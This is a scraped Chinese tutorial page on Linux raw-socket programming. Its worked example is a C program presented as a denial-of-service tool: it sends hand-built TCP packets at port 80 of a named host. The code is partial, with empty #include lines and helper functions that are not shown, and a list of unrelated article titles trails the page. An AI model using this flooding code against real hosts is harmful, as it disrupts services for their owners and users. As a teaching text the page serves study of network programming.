Linux操作系统网络编程--原始套接字 (1)

http://soft.zdnet.com.cn/software_zone/2007/1020/568223.shtml

我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW)。应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 注意原始套接字只能够由有root权限的人创建。

原始套接字的创建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.详细的情况查看 下面我们以一个实例来说明原始套接字的创建和使用

一个原始套接字的实例

还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define DESTPORT 80 /* 要攻击的端口(WEB) */

#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);

unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)

{

int sockfd;

struct sockaddr_in addr;

struct hostent *host;

int on=1;

if(argc!=2)

{

fprintf(stderr,"Usage:%s hostnamena",argv[0]);

exit(1);

}

bzero(&addr,sizeof(struct sockaddr_in));

addr.sin_family=AF_INET;

addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)

{

host=gethostbyname(argv[1]);

if(host==NULL)

{

fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));

exit(1);

}

addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);

}

/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

if(sockfd<0)

{

fprintf(stderr,"Socket Error:%sna",strerror(errno));

exit(1);

}

/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/

setuid(getpid());

/********* 发送炸弹了!!!! ****/

send_tcp(sockfd,&addr);

Linux原始网络编程,Linux操作系统网络编程 原始套接字 (1)相关推荐

  1. Linux 网络编程详解一(IP套接字结构体、网络字节序,地址转换函数)

    IPv4套接字地址结构 struct sockaddr_in {uint8_t sinlen;(4个字节)sa_family_t sin_family;(4个字节)in_port_t sin_port ...

  2. Linux网络编程——端口复用(多个套接字绑定同一个端口)

    在<绑定( bind )端口需要注意的问题>提到:一个网络应用程序只能绑定一个端口( 一个套接字只能绑定一个端口 ). 实际上,默认的情况下,如果一个网络应用程序的一个套接字 绑定了一个端 ...

  3. C++网络编程(一):TCP套接字编程

    目录 基本数据结构 TCP服务器端的默认函数调用顺序 TCP客户端的默认函数调用情况 TCP网络编程主要流程 TCP客户端套接字的地址分配 TCP套接字的I/O缓存 代码实例 面试常见问题详解 参考资 ...

  4. C++网络编程(二):UDP套接字编程

    目录 基本特点 流程 基于UDP的数据I/O函数 UDP客户端套接字的地址分配 UDP套接字的数据边界 未连接UDP套接字.已连接UDP套接字 创建已连接UDP套接字 代码示例 参考资料 基本特点 U ...

  5. 【并发编程七】C++进程通信——套接字(socket)_80行代码实现一个聊天软件

    [并发编程七]进程通信--套接字(socket)_80行代码实现一个聊天软件 一.简介 二.相关知识介绍 1.winsock1.h.winsock2.h 2.如何使用ws2_32.dll 3.WSAS ...

  6. linux c ip数据包,如何在Linux上的C / C ++中使用ipv6 udp套接字进行多播?

    (英语不是我的母语,不用担心某些句子是否很奇怪:). 我正在开发 PONG游戏, 并且通过创建一些类来帮助我管理窗口,事件-和 网络, 因为我在游戏中添加了 LAN功能 ,但是当前您必须输入您想与之联 ...

  7. muduo网络库学习(二)对套接字和监听事件的封装Channel

    muduo对描述符fd,需要监听的事件events,当fd被激活调用的可读/可写/关闭/错误回调函数进行了封装,实现在Channel类中,Poller监听的其实就是一个个Channel对象,Chann ...

  8. Linux网络编程 - 套接字与协议族

    一 理解网络编程和套接字(socket) 1.1 网络编程和套接字概要 网络编程就是编程程序使两台连网的计算机可以互相交换数据.那么,这两台计算机之间用什么传输数据呢?首先需要物理连接.如今大部分计算 ...

  9. 嵌入式linux网络编程之——5年程序员给你深度讲解socket套接字

    以下内容转载自 https://www.toutiao.com/i6827837032622981636/ 本文主要给大家分享网络七层概念之网络编程socket,前边的章节已经给大家讲述了链路层.物理 ...

  10. Linux网络编程——Unix本地套接字

    概述 今天给大家讲解网络编程中的一个内容--Unix 本地套接字. 发现很多人不知道或者不太了解 Unix 本地套接字这个概念,这也难怪,socket API 原本就是为多台主机之间网络通信设计的,并 ...

最新文章

  1. linux系统源码安装教程,linux之源码包安装步骤
  2. Linux下如何查看tomcat是否启动/系统日志等
  3. IOS进阶之WKWebView
  4. 从零开始学习python-新手学习python-从零开始学习
  5. 前端基础到进阶(1):HTML基础入门
  6. angularjs自动加载和手动加载
  7. Flask 数据库迁移(详解)
  8. 数据库系统的结构(三级模式、两级映像)
  9. Nebula Graph - SpringBoot 操作 Nebula
  10. 高中计算机知识竞赛,数学系、计算机科学系举行2016年“师范技能竞赛月”之高中数学知识竞赛...
  11. 彻底搞懂单例模式的懒汉式饿汉式 双检索 线程安全问题
  12. 【算法导论】 内部排序算法总结
  13. 智慧政务行业发展报告
  14. 通过PHP调用天市数据的水电煤缴费接口
  15. 计算机丢失sspicli,MS16-047:SAM 和 LSAD 远程协议安全更新程序说明:2016 年 4 月 12 日...
  16. 看一遍就理解:IO模型详解
  17. KDYD-JC自动高压漆膜连续性试验仪
  18. POI操作word模板并生成新的word.docx
  19. 计算机电子电路基础教程视频,电子电路基础详细视频教学(100集)
  20. Layui——创建前端模板

热门文章

  1. css隐藏滚动条、兼容
  2. 运行Java程序时 Tomcat出错 显示端口被占用
  3. 修改文件 华为交换机_华为交换机系统文件管理配置命令大全(二)
  4. cuda加速的头文件_如何从C ++头文件调用CUDA文件?
  5. 内部矩阵维度必须一致simulink_深度学习/目标检测之numpy——向量和矩阵乘法相关...
  6. python设置随机数种子为12_Python标准库12 数学与随机数 (math包,random包)(转载)...
  7. python ndarray append_9-Python-NumPy数组元素的添加与删除
  8. BugkuCTF-WEB题file_get_contents
  9. java中挂起和恢复,应用程序“未能及时恢复”并挂起
  10. golang web php,golang 适合做web开发吗